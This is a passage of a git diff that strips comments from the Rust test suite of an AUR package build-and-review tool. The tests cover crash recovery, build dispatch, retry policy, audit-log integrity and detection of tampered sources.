serve` with a remote config that never asserted the shared -/// workspace must refuse rather than come up healthy and build on the hub. #[test] fn serve_refuses_a_remote_config_that_never_asserted_the_workspace() { let tmp = tempfile::tempdir().unwrap(); @@ -394,8 +348,6 @@ fn serve_refuses_a_remote_config_that_never_asserted_the_workspace() { assert!(err.contains("shared_workspace"), "{err}"); } -/// …and the same for the CLI build path, which is where the build would -/// actually have run. #[test] fn the_cli_build_path_refuses_an_unusable_sandbox_config() { let tmp = tempfile::tempdir().unwrap(); diff --git a/tests/crash.rs b/tests/crash.rs index 68cac5c..ca7d90a 100644 --- a/tests/crash.rs +++ b/tests/crash.rs @@ -8,7 +8,6 @@ use aur_build::pipeline; use aur_build::review::{candidates, diff}; use common::*; -/// Approve a fixture's candidate and hand back the approved row. fn approved(env: &Env, name: &str) -> aur_build::db::model::CandidateRow { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -18,7 +17,6 @@ fn approved(env: &Env, name: &str) -> aur_build::db::model::CandidateRow { candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap() } -/// Approve and enqueue the build without running it. fn queued(env: &Env, name: &str) -> String { let c = approved(env, name); pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap() @@ -37,7 +35,6 @@ fn run_cli(env: &Env, args: &[&str]) -> std::process::Output { fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work() { let (mut env, _fx) = env_with_fixture("plain-make"); let id = queued(&env, "plain-make"); - // The child will be murdered the moment it invokes makepkg. env.cfg.hooks.shim_kill_parent = Some("makepkg".into()); env.cfg.save().unwrap(); @@ -51,7 +48,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work String::from_utf8_lossy(&out.stderr) ); - // The database survived, because no transaction ever spans a build step. let b = builds::get(&env.db, &id).unwrap().expect("build row survived the kill"); assert!( b.state == BuildState::Leased || b.state == BuildState::Running, @@ -70,8 +66,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work ); assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none(), "nothing was published"); - // Time passes; the lease expires. A fresh process's dispatcher reaps it — the - // same code path as any other expired lease. env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1", ¶ms(vec![id.as_str()])); assert_eq!(builds::reap_expired(&env.db).unwrap(), 1); assert_eq!( @@ -79,7 +73,6 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work Some(StepState::Interrupted) ); - // Resume: the completed steps are not repeated. env.cfg.hooks.shim_kill_parent = None; env.cfg.save().unwrap(); let out = run_cli(&env, &["run", &id]); @@ -108,35 +101,26 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work #[test] fn a_cancelled_build_stops_at_a_step_boundary_and_publishes_nothing() { - // §8.2: cancellation is cooperative at a step boundary. A worker never kills a - // step halfway through, because that is the state a crash leaves. let (env, _fx) = env_with_fixture("plain-make"); let id = queued(&env, "plain-make"); builds::request_cancel(&env.db, &id).unwrap(); let out = pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert!(matches!(out, pipeline::Outcome::Cancelled), "{out:?}"); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Cancelled); - // Nothing ran, so nothing to undo. let shim = env.cfg.hooks.shim_dir.clone().unwrap(); assert_eq!(aur_build::shims::called_with(&shim, "repo-add", ""), 0); assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none()); - // A cancelled build is not a failure and is not retried. assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='failed'", &[]), Some(0)); } #[test] fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() { - // §8.4: "v2 approved, build failed, index still serving v1". The dangerous - // failure mode is a package that looks healthy while the new version never - // arrived. let (mut env, fx) = env_with_fixture("plain-make"); - // Publish v1 for real. let c = approved(&env, "plain-make"); let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1")); - // v2 is approved and its build fails deterministically. fx.bump(&[("pkgver", "2.0")]); env.set_shim_fail("makepkg"); let c2 = approved(&env, "plain-make"); @@ -144,7 +128,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() { let out = pipeline::run(&env.cfg, &env.db, &id2).unwrap(); assert!(matches!(out, pipeline::Outcome::Failed { .. }), "{out:?}"); - // The index still serves v1 — correct — and the system knows v2 never landed. assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1")); let unbuilt = db::approved_but_unbuilt(&env.db).unwrap(); assert_eq!(unbuilt.len(), 1, "the failed approval must be surfaced: {unbuilt:?}"); @@ -152,7 +135,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() { assert_eq!(unbuilt[0].approved, "2.0-1"); assert_eq!(unbuilt[0].serving, "1.0-1"); - // And it is on the surfaces a human actually looks at. let web = Web::attach(env, fx); let attention = web.get("/attention"); assert!(attention.body.contains("Approved but unbuilt"), "no Attention section: {}", &attention.body[..600.min(attention.body.len())]); @@ -164,8 +146,6 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() { #[test] fn a_transient_failure_retries_but_a_deterministic_one_never_does() { - // The retry policy is asserted at the state machine level here; the dispatch - // tests cover it through the pool. let (mut env, _fx) = env_with_fixture("build-fails"); let id = queued(&env, "build-fails"); let pool = aur_build::pipeline::dispatch::Pool::spawn(std::sync::Arc::new(env.cfg.clone()), env.db.clone()); @@ -182,7 +162,6 @@ fn a_transient_failure_retries_but_a_deterministic_one_never_does() { pool.shutdown(); assert_eq!(state, BuildState::Failed); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().attempt, 1, "a deterministic failure must not retry"); - // The release stays approved_but_unbuilt rather than vanishing. assert_eq!(db::approved_but_unbuilt(&env.db).unwrap().len(), 1); let _ = &mut env; } diff --git a/tests/db.rs b/tests/db.rs index 31f4326..ea8c4de 100644 --- a/tests/db.rs +++ b/tests/db.rs @@ -35,7 +35,6 @@ fn migrations_apply_from_empty_and_are_idempotent() { }) .unwrap(); assert_eq!(v as usize, db::MIGRATIONS.len(), "all migrations applied"); - // Re-running migration over an existing DB is a no-op, not an error. assert_eq!(db::migrate(&env.cfg.db_path()).unwrap(), 0); let journal: String = env .db @@ -54,7 +53,6 @@ fn default_settings_are_seeded() { assert_eq!(db::setting_i64(&env.db, "retention_versions", 0), 5); } -/// I7: a pkgbase has at most one open review, enforced by a partial unique index. #[test] fn i7_second_open_review_is_rejected_by_the_database() { let env = Env::new(); @@ -67,7 +65,6 @@ fn i7_second_open_review_is_rejected_by_the_database() { }); assert!(err.is_err(), "second pending_review must fail"); - // A terminal state frees the slot again. insert_candidate(&env, pb, snap2, "id-2", "rejected"); let n: Option<i64> = env.query_i64( "SELECT count(*) FROM candidate WHERE pkgbase_id=?1", @@ -76,7 +73,6 @@ fn i7_second_open_review_is_rejected_by_the_database() { assert_eq!(n, Some(2)); } -/// Same identity for the same pkgbase must never create a second candidate (I3). #[test] fn candidate_identity_is_unique_per_pkgbase() { let env = Env::new(); @@ -88,7 +84,6 @@ fn candidate_identity_is_unique_per_pkgbase() { assert!(res.is_err(), "UNIQUE(pkgbase_id, identity_hash) must hold"); } -/// I10: every state transition is recorded, and the log cannot be rewritten. #[test] fn audit_log_is_append_only() { let env = Env::new(); @@ -106,11 +101,9 @@ fn audit_log_is_append_only() { std::panic::catch_unwind(|| env.exec("DELETE FROM audit WHERE id=?1", ¶ms(vec![id]))).is_err(), "audit DELETE must be refused by trigger" ); - // Inserts keep working. db::audit_system(&env.db.writer, "test2", "pkgbase", "1", serde_json::json!({})).unwrap(); } -/// §16: concurrent approvals on the same pkgbase are a guarded compare-and-swap. #[test] fn accepted_release_pointer_is_compared_and_swapped() { let env = Env::new(); @@ -129,7 +122,6 @@ fn accepted_release_pointer_is_compared_and_swapped() { Ok(tx.last_insert_rowid()) }) .unwrap(); - // First swap from NULL wins, second loses. assert!(db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap()); assert!(!db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap()); assert_eq!( @@ -138,7 +130,6 @@ fn accepted_release_pointer_is_compared_and_swapped() { ); } -/// §11a: WAL lets readers proceed concurrently with the writer. #[test] fn many_readers_do_not_block_the_writer() { let env = std::sync::Arc::new(Env::new()); @@ -166,7 +157,6 @@ fn many_readers_do_not_block_the_writer() { .unwrap(), ); } - // Write while they read: none of these may fail with SQLITE_BUSY. for i in 0..200 { db::set_setting(&env.db.writer, &format!("k{i}"), "1").unwrap(); } @@ -180,7 +170,6 @@ fn world_snapshot_dedupes_by_hash() { let env = Env::new(); let m = |b: &str, v: &str| db::WorldMember { pkgbase: b.into(), version: v.into() }; let a = db::put_world_snapshot(&env.db.writer, &[m("foo", "1-1"), m("bar", "2-1")]).unwrap(); - // Order-insensitive: same set, same snapshot. let b = db::put_world_snapshot(&env.db.writer, &[m("bar", "2-1"), m("foo", "1-1")]).unwrap(); assert_eq!(a, b); let members = db::world_members(&env.db, a).unwrap(); @@ -199,7 +188,6 @@ fn duplicate_open_notices_are_suppressed() { assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone()) .unwrap() .is_none()); - // Acknowledging lets a fresh one through. let id = env .query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[]) .unwrap(); @@ -213,7 +201,6 @@ fn duplicate_open_notices_are_suppressed() { fn i1_query_flags_index_entries_without_approval() { let env = Env::new(); let pb = env.subscribe("foo"); - // A published release with no approval row: exactly the thing I1 forbids. let rel = env .db .writer @@ -235,7 +222,6 @@ fn i1_query_flags_index_entries_without_approval() { #[test] fn a_setting_that_is_absent_is_the_default_and_one_that_is_nonsense_falls_back() { - // m-9: absent means default, nonsense means default *and a complaint*. let env = Env::new(); assert_eq!(db::setting_i64(&env.db, "stage_b_cooldown", 86400), 86400); db::set_setting(&env.db.writer, "stage_b_cooldown", "86400x").unwrap(); diff --git a/tests/detect.rs b/tests/detect.rs index 6284b31..a7641b1 100644 --- a/tests/detect.rs +++ b/tests/detect.rs @@ -7,7 +7,6 @@ use aur_build::review::{approve, candidates}; use aur_build::watch::detect::{check_pkgbase, Outcome}; use aur_build::watch::mirror::{sync_mirror, Sync}; -/// Path of the fake AUR repo for `name`, matching `Env::subscribe`'s URL. fn aur(env: &Env, name: &str) -> std::path::PathBuf { env.path(&format!("aur/{name}.git")) } @@ -40,7 +39,6 @@ fn first_detection_opens_a_first_introduction_with_no_base() { assert_eq!(c.kind, candidate_kind::FIRST_INTRODUCTION); assert_eq!(c.base_release_id, None, "I2 has no referent for a first introduction"); assert_eq!(c.version(), "1.0-1"); - // The pin is recorded on the snapshot and it is the commit we cloned. let snap = db::snapshot_by_id(&env.db, c.snapshot_id).unwrap().unwrap(); assert_eq!(snap.aur_commit, commit); assert_eq!(snap.recipe_hash.len(), 64); @@ -59,7 +57,6 @@ fn cheap_poll_does_not_fetch_when_the_tip_is_unchanged() { Sync::Unchanged { head } => assert_eq!(head, git_head(&aur(&env, "foo"))), other => panic!("expected Unchanged, got {other:?}"), } - // A new commit makes it fetch. git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "1.1", "1", ""))], "bump"); let moved = sync_mirror(&env.cfg, &env.db, "foo", &url).unwrap(); assert!(matches!(moved, Sync::Fetched { .. }), "SHA moved -> fetch"); @@ -69,8 +66,6 @@ fn git_head(p: &std::path::Path) -> String { aur_build::git::head(p).unwrap() } -/// §3: `recipe_hash` covers the *entire* tree, because a shipped patch is part of -/// the recipe and is a classic silent-change vector. #[test] fn recipe_hash_covers_shipped_patches() { let env = Env::new(); @@ -83,7 +78,6 @@ fn recipe_hash_covers_shipped_patches() { let h1 = db::snapshot_by_id(&env.db, c1.snapshot_id).unwrap().unwrap().recipe_hash; env.accept_as_release(c1.id); - // Same PKGBUILD, different patch bytes. git_add_commit(&aur(&env, "foo"), &[("fix.patch", "--- a\n+++ b\n@@\n-old\n+EVIL\n")], "patch2"); let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); assert!( @@ -117,7 +111,6 @@ fn skip_sources_are_stream_hashed_into_the_cache() { assert_eq!(digests[0].digest, expected, "we hash SKIP sources ourselves (§5.3)"); assert!(digests[0].skip_declared); assert_eq!(digests[0].kind, "static"); - // The bytes landed in the content-addressed cache and are recorded. let cached = env.query_i64( "SELECT count(*) FROM source_cache WHERE url LIKE '%payload.txt' AND digest=?1", ¶ms(vec![expected.clone()]), @@ -125,7 +118,6 @@ fn skip_sources_are_stream_hashed_into_the_cache() { assert_eq!(cached, Some(1)); let path = env.cfg.source_cache_path(&expected); assert!(path.exists(), "cached file is reused by the build"); - // A declared checksum costs no bandwidth: nothing was downloaded for it. } #[test] @@ -153,7 +145,6 @@ fn declared_checksums_are_trusted_without_downloading() { ); } -/// I2, the headline rule: diffs are always against the last *accepted* version. #[test] fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() { let env = Env::new(); @@ -164,15 +155,12 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() { let rel1 = env.accept_as_release(c1.id); assert_eq!(accepted(&env, "foo").unwrap().id, rel1); - // v2 arrives and is detected but nobody looks at it. git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2"); check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); let c2 = pending(&env, "foo").unwrap(); assert_eq!(c2.base_release_id, Some(rel1), "base is the accepted release"); assert_eq!(c2.version(), "2.0-1"); - // v3 and v4 arrive while nobody is looking: they collapse into the same review, - // and the base is *still* v1. for v in ["3.0", "4.0"] { git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", v, "1", ""))], v); check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); @@ -188,7 +176,6 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() { ); } -/// §7.1: `superseded` exists only when a human actually saw the old diff. #[test] fn a_viewed_review_is_frozen_and_a_fresh_one_opened() { let env = Env::new(); @@ -240,7 +227,6 @@ fn a_rejected_identity_is_not_re_raised() { check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); let c = pending(&env, "foo").unwrap(); approve::reject(&env.db, "tester", c.id, "not this one").unwrap(); - // Re-running detection must not nag (§7.1). let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); assert!( matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange), @@ -248,13 +234,11 @@ fn a_rejected_identity_is_not_re_raised() { rep.outcome ); assert!(pending(&env, "foo").is_none()); - // A *newer* version is still detected: rejection does not block (§7.1). git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2"); check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); assert!(pending(&env, "foo").is_some()); } -/// I11: a change that is not publishable never silently disappears. #[test] fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() { let env = Env::new(); @@ -264,7 +248,6 @@ fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() { let c = pending(&env, "foo").unwrap(); env.accept_as_release(c.id); - // Maintainer edits the PKGBUILD but forgets to bump pkgrel. git_add_commit( &aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "1.0", "1", "# a comment only"))], @@ -282,7 +265,6 @@ fn recipe_drift_under_a_static_version_is_a_notice_not_a_candidate() { assert_eq!(notices[0].severity, "warning"); } -/// §5.3: the single most valuable detection — same version, swapped bytes. #[test] fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() { let env = Env::new(); @@ -300,7 +282,6 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() { let c = pending(&env, "foo").unwrap(); env.accept_as_release(c.id); - // The CDN now serves something else and the version did not move. std::fs::write(&payload, b"EVIL swapped artifact").unwrap(); let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); match rep.outcome { @@ -311,7 +292,6 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() { let notices = db::list_notices(&env.db, false).unwrap(); assert_eq!(notices[0].severity, "high"); assert!(notices[0].detail_json.contains("no longer serves")); - // The index keeps serving the artifact built from the old bytes (I1). assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new()); } @@ -354,7 +334,6 @@ fn detection_is_idempotent_and_records_no_duplicate_candidate() { fn srcinfo_is_preferred_over_the_pkgbuild_when_present() { let env = Env::new(); env.subscribe("foo"); - // .SRCINFO disagrees with the PKGBUILD, which is what makepkg reports. make_git_repo( &aur(&env, "foo"), &[ @@ -398,7 +377,6 @@ fn epoch_and_pkgrel_are_part_of_the_identity() { check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); let c = pending(&env, "foo").unwrap(); env.accept_as_release(c.id); - // pkgrel reset: a major signal, and a new identity. git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "1.0", "7", ""))], "rel"); check_pkgbase(&env.cfg, &env.db, "foo").unwrap(); let c2 = pending(&env, "foo").expect("pkgrel bump is publishable, so it is a candidate"); diff --git a/tests/dispatch.rs b/tests/dispatch.rs index 197d226..f702151 100644 --- a/tests/dispatch.rs +++ b/tests/dispatch.rs @@ -9,7 +9,6 @@ use aur_build::pipeline::{self, dispatch}; use aur_build::review::{candidates, diff}; use common::*; -/// Approve a fixture's candidate and enqueue its build without running it. fn queued_build(env: &Env, name: &str) -> String { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -27,7 +26,6 @@ fn pass(env: &Env) -> Vec<String> { #[test] fn the_deterministic_build_id_makes_re_enqueue_a_noop() { - // §8.2: re-submitting the same intent is an INSERT OR IGNORE no-op. let (env, _fx) = env_with_fixture("plain-make"); aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -51,13 +49,10 @@ fn backpressure_admits_no_more_than_max_concurrent_builds() { let claimed = pass(&env); assert_eq!(claimed.len(), 1, "one slot must admit exactly one build"); - // The dispatcher will not run ahead into the second slot while the first is - // still in flight. assert_eq!(pass(&env).len(), 0, "admitted a second build while one is in flight"); assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='leased'", &[]), Some(1)); assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='queued'", &[]), Some(1)); - // Widen the pool and the second one goes. env.cfg.max_concurrent_builds = 2; assert_eq!(pass(&env).len(), 1); } @@ -66,12 +61,10 @@ fn backpressure_admits_no_more_than_max_concurrent_builds() { fn disk_headroom_is_part_of_backpressure() { let (mut env, _fx) = env_with_fixture("plain-make"); queued_build(&env, "plain-make"); - // Ask for more free space than any machine has: nothing is admitted (§8.2). env.cfg.min_free_disk_mb = u64::MAX / 2; assert_eq!(dispatch::admissible(&env.cfg, &env.db), 0); assert!(pass(&env).is_empty(), "claimed a build with no disk headroom"); assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='queued'", &[]), Some(1)); - // And the measurement itself is real, not a stub returning zero. env.cfg.min_free_disk_mb = 1; assert!(dispatch::free_disk_mb(&env.cfg.root) > 0, "free_disk_mb never measures anything"); assert_eq!(dispatch::admissible(&env.cfg, &env.db), 1); @@ -79,19 +72,14 @@ fn disk_headroom_is_part_of_backpressure() { #[test] fn an_expired_lease_is_requeued_and_its_running_step_marked_interrupted() { - // The reaper pass is the whole crash-recovery story: a worker that died - // mid-step leaves a leased row and a running step, and the next pass turns - // that back into queued + interrupted (I5). let (env, _fx) = env_with_fixture("plain-make"); let id = queued_build(&env, "plain-make"); assert_eq!(pass(&env), vec![id.clone()]); builds::begin_step(&env.db, &id, "build", 1).unwrap(); assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Running)); - // Time passes — the lease expires, as it would if the process were killed. env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z'", &[]); - // A fresh dispatcher (as after a restart) reaps it before claiming anything. let reaped = builds::reap_expired(&env.db).unwrap(); assert_eq!(reaped, 1, "the expired lease was not requeued"); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued); @@ -100,15 +88,12 @@ fn an_expired_lease_is_requeued_and_its_running_step_marked_interrupted() { Some(StepState::Interrupted), "the in-flight step was not marked interrupted" ); - // And it is claimable again. assert_eq!(pass(&env), vec![id.clone()]); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().attempt, 2, "the retry was not counted"); } #[test] fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() { - // §8.2 cancellation: a superseded candidate marks the running build - // cancel_requested; the worker stops at the next boundary. let (env, _fx) = env_with_fixture("plain-make"); let id = queued_build(&env, "plain-make"); pass(&env); @@ -116,7 +101,6 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() { env.exec("UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)", ¶ms(vec![id.as_str()])); assert_eq!(builds::cancel_superseded(&env.db).unwrap(), 1); assert!(builds::cancel_requested(&env.db, &id).unwrap()); - // run() honours it at the step boundary rather than mid-step. let out = pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert!(matches!(out, pipeline::Outcome::Cancelled), "run ignored the cancellation"); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Cancelled); @@ -124,8 +108,6 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() { #[test] fn a_deterministic_build_failure_is_not_retried() { - // §8.4: a build that fails for a deterministic reason stays failed at attempt - // 1; burning another chroot to reproduce the same failure helps nobody. let (env, _fx) = env_with_fixture("build-fails"); let id = queued_build(&env, "build-fails"); let pool = dispatch::Pool::spawn(Arc::new(env.cfg.clone()), env.db.clone()); @@ -135,15 +117,11 @@ fn a_deterministic_build_failure_is_not_retried() { let b = builds::get(&env.db, &id).unwrap().unwrap(); assert_eq!(b.attempt, 1, "a deterministic failure must not be retried"); assert!(b.error.unwrap_or_default().contains("build"), "no step named in the error"); - // And the old version keeps looking served: nothing was published. assert_eq!(db::index_version(&env.db, "build-fails").unwrap(), None); } #[test] fn a_transient_failure_is_retried_up_to_the_cap() { - // §8.4: a failure the outside world caused is retried, up to a bound. This - // drives the real path: the build's `sources` step has to fetch and gets an - // `Http` failure — the class a flaky mirror produces. let (mut env, fx) = env_with_fixture("skip-checksum"); let id = queued_build(&env, "skip-checksum"); std::fs::remove_file(fx.data.join("payload.bin")).expect("payload exists"); @@ -151,8 +129,6 @@ fn a_transient_failure_is_retried_up_to_the_cap() { env.cfg.max_transient_attempts = 3; env.cfg.dispatch_tick_secs = 0; let pool = dispatch::Pool::spawn(Arc::new(env.cfg.clone()), env.db.clone()); - // The state flickers to 'failed' between retries; what settles is the - // attempt count reaching the cap with the build left failed. let b = wait_attempt(&env, &id, 3); pool.shutdown(); assert_eq!(b.state, BuildState::Failed); @@ -165,9 +141,6 @@ fn a_transient_failure_is_retried_up_to_the_cap() { #[test] fn a_missing_toolchain_is_not_retried() { - // m-14: this used to be the transient test. A missing `makepkg` surfaces as - // an `Io` error, and `Io` used to mean "retry". It is deterministic: the tool - // is not going to appear. let (mut env, _fx) = env_with_fixture("plain-make"); let id = queued_build(&env, "plain-make"); env.cfg.makepkg_bin = "/nonexistent/makepkg-for-test".into(); @@ -186,8 +159,6 @@ fn a_missing_toolchain_is_not_retried() { #[test] fn the_pool_takes_a_queued_build_all_the_way_to_publication() { - // The threads, not a test calling run() directly: dispatcher claims, worker - // runs the ten steps, publish lands the release. let (env, _fx) = env_with_fixture("plain-make"); let id = queued_build(&env, "plain-make"); let cfg = Arc::new(env.cfg.clone()); @@ -201,8 +172,6 @@ fn the_pool_takes_a_queued_build_all_the_way_to_publication() { #[test] fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() { - // I5 through the dispatcher rather than a direct run(): a build that dies late - // is requeued, re-claimed, and finishes from its checkpoints. let (mut env, fx) = env_with_fixture("plain-make"); let c = queued_candidate(&env, "plain-make"); let first = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); @@ -218,9 +187,6 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() { )); let builds_before = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", ""); - // The worker "died" at publish: the row is leased to a worker that is no - // longer running, with a lease nobody will extend. A fresh dispatcher reaps it - // and a worker finishes from the checkpoints. env.clear_publish_fault(); env.exec( "UPDATE build SET state='leased', lease_owner='dead-worker', @@ -252,7 +218,6 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() { assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0.1-1")); } -/// Approve a fixture's candidate and hand back the approved row. fn queued_candidate(env: &Env, name: &str) -> CandidateRow { aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap(); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); @@ -262,7 +227,6 @@ fn queued_candidate(env: &Env, name: &str) -> CandidateRow { candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap() } -/// Poll until the build has been attempted `n` times and settled. fn wait_attempt(env: &Env, id: &str, n: i64) -> builds::BuildRow { for _ in 0..600 { if let Some(b) = builds::get(&env.db, id).unwrap() { @@ -275,7 +239,6 @@ fn wait_attempt(env: &Env, id: &str, n: i64) -> builds::BuildRow { panic!("build {id} never reached {n} attempts in state failed"); } -/// Poll until the build reaches one of `want` (or the test gives up). fn wait_for(env: &Env, id: &str, want: &[BuildState]) -> BuildState { for _ in 0..600 { if let Some(b) = builds::get(&env.db, id).unwrap() { diff --git a/tests/failure_modes.rs b/tests/failure_modes.rs index 74794b4..e9083a2 100644 --- a/tests/failure_modes.rs +++ b/tests/failure_modes.rs @@ -11,15 +11,9 @@ use common::*; #[derive(Clone, Copy, PartialEq, Eq)] enum Fault { - /// The sandbox vanishes while the build command is running — the shape of - /// a VM pulled out from under a worker. DieMidRun, - /// The sandbox's own TTL bites mid-build. TtlMidBuild, - /// The pool is at quota: no lease exists to hand out. NoCapacity, - /// The sandbox installs the lease but its `pacman -Q` comes back empty — - /// an incomplete closure, or a world that lied. EmptyWorld, } @@ -101,8 +95,6 @@ fn run_with_fault(env: &Env, id: &str, fault: Fault) -> pipeline::Outcome { #[test] fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_build() { - // I5 across the sandbox boundary: the box vanishes mid-build, the lease - // expires, and a fresh worker resumes from the checkpoints. let (env, _fx) = env_with_fixture("plain-make"); let id = approve_and_enqueue(&env, "plain-make"); @@ -114,7 +106,6 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu other => panic!("{other:?}"), } - // The crash shape the dispatcher reaper knows: leased to a worker that is gone. env.exec( "UPDATE build SET state='leased', lease_owner='dead-worker', lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1", @@ -122,7 +113,6 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu ); assert_eq!(builds::reap_expired(&env.db).unwrap(), 1); - // Requeue and resume on a healthy pool: the completed steps do not re-run. assert!(matches!( pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. } @@ -142,7 +132,6 @@ fn a_ttl_that_bites_mid_build_is_a_failed_step_not_a_lost_build() { } other => panic!("{other:?}"), } - // Nothing was published, and the approval is still there to resume from. assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none()); } @@ -171,9 +160,6 @@ fn a_full_pool_blocks_the_build_instead_of_breaking_it() { #[test] fn an_incomplete_closure_fails_closed_as_a_world_mismatch() { - // dep-client's lease pins plain-make; the fake sandbox installs it but its - // `pacman -Q` comes back empty — the world lied. Provisioning must refuse with - // its own error class. let (env, _plain, _client) = env_with_two_fixtures("plain-make", "dep-client"); let id = approve_and_enqueue(&env, "plain-make"); assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. })); diff --git a/tests/hash.rs b/tests/hash.rs index 46ecdb4..32995ff 100644 --- a/tests/hash.rs +++ b/tests/hash.rs @@ -3,8 +3,6 @@ use std::collections::HashMap; use aur_build::db::model::Identity; use aur_build::hash; -/// A value that refuses to be serialized — the input the old implementation -/// answered with `"{}"`, a digest every failed value shared. struct Unserializable; impl serde::Serialize for Unserializable { @@ -17,15 +15,11 @@ impl serde::Serialize for Unserializable { fn a_value_that_cannot_be_serialized_is_an_error_not_an_empty_object() { let err = hash::canonical_json(&Unserializable).unwrap_err(); assert!(err.to_string().contains("cannot be serialized"), "the failure was swallowed: {err}"); - // Two different unserializable values now fail loudly instead of hashing to - // the same digest. assert!(hash::canonical_json(&Unserializable).is_err()); } #[test] fn the_rendering_is_canonical_in_fact_not_in_name() { - // Same fields, different declaration order: routed through `Value`, both come - // out with the keys sorted. #[derive(serde::Serialize)] struct Ab { alpha: String, @@ -41,7 +35,6 @@ fn the_rendering_is_canonical_in_fact_not_in_name() { assert_eq!(ab, ba, "field declaration order leaked into the rendering: {ab} vs {ba}"); assert_eq!(ab, r#"{"alpha":"1","beta":"2"}"#, "not the compact sorted rendering"); - // Same for a map assembled in an arbitrary order. let mut one = HashMap::new(); one.insert("z", 1); one.insert("m", 2); @@ -66,7 +59,6 